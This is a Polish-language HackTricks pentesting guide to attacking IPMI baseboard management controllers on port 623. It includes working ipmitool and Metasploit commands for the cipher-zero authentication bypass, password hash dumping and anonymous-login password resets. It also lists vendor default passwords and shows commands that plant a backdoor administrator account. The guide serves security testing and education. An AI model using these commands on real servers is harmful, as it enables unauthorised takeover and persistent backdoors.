hacktricks/network-services-pentesting/623-udp-ipmi.md
2024-02-11 01:46:25 +00:00

11 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Przegląd IPMI

Intelligent Platform Management Interface (IPMI) oferuje standaryzowane podejście do zdalnego zarządzania i monitorowania systemów komputerowych, niezależnie od systemu operacyjnego lub stanu zasilania. Ta technologia umożliwia administratorom systemów zdalne zarządzanie systemami, nawet gdy są wyłączone lub nieodpowiedzialne, i jest szczególnie przydatna do:

  • Konfiguracji przed uruchomieniem systemu operacyjnego
  • Zarządzanie wyłączaniem zasilania
  • Przywracanie po awariach systemu

IPMI jest zdolne do monitorowania temperatur, napięć, prędkości wentylatorów i zasilaczy, a także dostarczania informacji o inwentarzu, przeglądania dzienników sprzętu i wysyłania alertów za pomocą SNMP. Do jego działania niezbędne są źródło zasilania i połączenie LAN.

Od wprowadzenia przez Intel w 1998 roku, IPMI jest obsługiwane przez licznych dostawców, zwiększając zdolności zdalnego zarządzania, zwłaszcza dzięki wsparciu wersji 2.0 dla transmisji szeregowej przez LAN. Kluczowe komponenty obejmują:

  • Kontroler zarządzania płytą główną (BMC): Główny mikrokontroler do operacji IPMI.
  • Magistrale i interfejsy komunikacyjne: Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB i różne interfejsy do połączeń lokalnych i sieciowych.
  • Pamięć IPMI: Do przechowywania dzienników i danych.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Domyślny port: 623/UDP/TCP (Zazwyczaj działa na UDP, ale może również działać na TCP)

Wyliczanie

Odkrywanie

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Możesz zidentyfikować wersję używając:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Podatności IPMI

W dziedzinie IPMI 2.0 odkryto znaczącą lukę w zabezpieczeniach, odkrytą przez Dana Farmera, która ujawnia podatność poprzez typ szyfrowania 0. Ta podatność, szczegółowo udokumentowana w badaniach Dana Farmera, umożliwia nieautoryzowany dostęp przy użyciu dowolnego hasła, pod warunkiem, że jest to ważny użytkownik. Ta słabość została znaleziona w różnych BMC od producentów takich jak HP, Dell i Supermicro, co sugeruje powszechny problem we wszystkich implementacjach IPMI 2.0.

Ominięcie uwierzytelniania IPMI za pomocą szyfrowania 0

Aby wykryć tę lukę, można użyć następującego skanera pomocniczego w narzędziu Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Eksploatacja tej luki jest możliwa za pomocą ipmitool, jak pokazano poniżej, umożliwiając listowanie i modyfikację haseł użytkowników:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP - Pobieranie zdalnego hasha hasła uwierzytelniania

Ta podatność umożliwia pobieranie solonych zahaszowanych haseł (MD5 i SHA1) dla dowolnej istniejącej nazwy użytkownika. Aby przetestować tę podatność, Metasploit oferuje moduł:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Anonimowa autoryzacja IPMI

Domyślna konfiguracja wielu BMC (zarządzanie bazą danych) umożliwia dostęp "anonimowy", charakteryzujący się pustymi ciągami znaków dla nazwy użytkownika i hasła. Konfiguracja ta może być wykorzystana do resetowania haseł dla nazwanych kont użytkowników za pomocą narzędzia ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Hasła w czystym tekście

Krytyczny wybór projektowy w IPMI 2.0 wymaga przechowywania haseł w czystym tekście w BMC w celu uwierzytelniania. Przechowywanie tych haseł przez Supermicro w lokalizacjach takich jak /nv/PSBlock lub /nv/PSStore rodzi poważne obawy dotyczące bezpieczeństwa:

cat /nv/PSBlock

Podatność UPnP Supermicro IPMI

Włączenie przez Supermicro nasłuchiwania UPnP SSDP w oprogramowaniu IPMI, zwłaszcza na porcie UDP 1900, wprowadza poważne ryzyko bezpieczeństwa. Podatności w wersji 1.3.1 Intel SDK for UPnP Devices, jak szczegółowo opisano w publikacji Rapid7, umożliwiają uzyskanie dostępu do BMC jako root:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP losuje losowe hasło domyślne dla swojego produktu Integrated Lights Out (iLO) podczas produkcji. Praktyka ta różni się od innych producentów, którzy zwykle używają statycznych danych uwierzytelniających domyślnych. Poniżej przedstawiono podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów:

  • HP Integrated Lights Out (iLO) używa losowego ciągu 8 znaków jako hasła domyślnego, co świadczy o wyższym poziomie bezpieczeństwa.
  • Produkty takie jak iDRAC firmy Dell, IMM firmy IBM i Integrated Remote Management Controller firmy Fujitsu używają łatwo odgadnialnych haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio.
  • Podobnie, Supermicro IPMI (2.0), Oracle/Sun ILOM i ASUS iKVM BMC również używają prostych danych uwierzytelniających domyślnych, gdzie hasłami są "ADMIN", "changeme" i "admin".

Dostęp do hosta za pośrednictwem BMC

Administracyjny dostęp do kontrolera zarządzania płytą główną (BMC) otwiera różne ścieżki dostępu do systemu operacyjnego hosta. Prostym podejściem jest wykorzystanie funkcjonalności klawiatury, wideo i myszy (KVM) BMC. Można to zrobić poprzez ponowne uruchomienie hosta do powłoki roota za pomocą GRUB (używając init=/bin/sh) lub uruchomienie z wirtualnego napędu CD-ROM jako dysku ratunkowego. Takie metody umożliwiają bezpośrednią manipulację dyskiem hosta, włącznie z wstawianiem tylnych drzwi, wydobyciem danych lub wykonaniem innych niezbędnych działań w celu oceny bezpieczeństwa. Jednak wymaga to ponownego uruchomienia hosta, co stanowi znaczącą wadę. Bez ponownego uruchamiania dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub konsola szeregowa hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC za pomocą ipmitool. Badanie wykorzystania współdzielonych zasobów sprzętowych, takich jak magistrala i2c i układ Super I/O, to obszar, który wymaga dalszych badań.

Wprowadzanie tylnych drzwi do BMC z hosta

Po skompromitowaniu hosta wyposażonego w BMC, można wykorzystać lokalny interfejs BMC do wstawienia konta użytkownika z tylnymi drzwiami, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności narzędzia ipmitool na skompromitowanym hoście oraz aktywacji obsługi sterownika BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika można wstrzyknąć do BMC za pomocą lokalnego interfejsu hosta, omijając konieczność uwierzytelniania. Ta technika jest zastosowalna w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: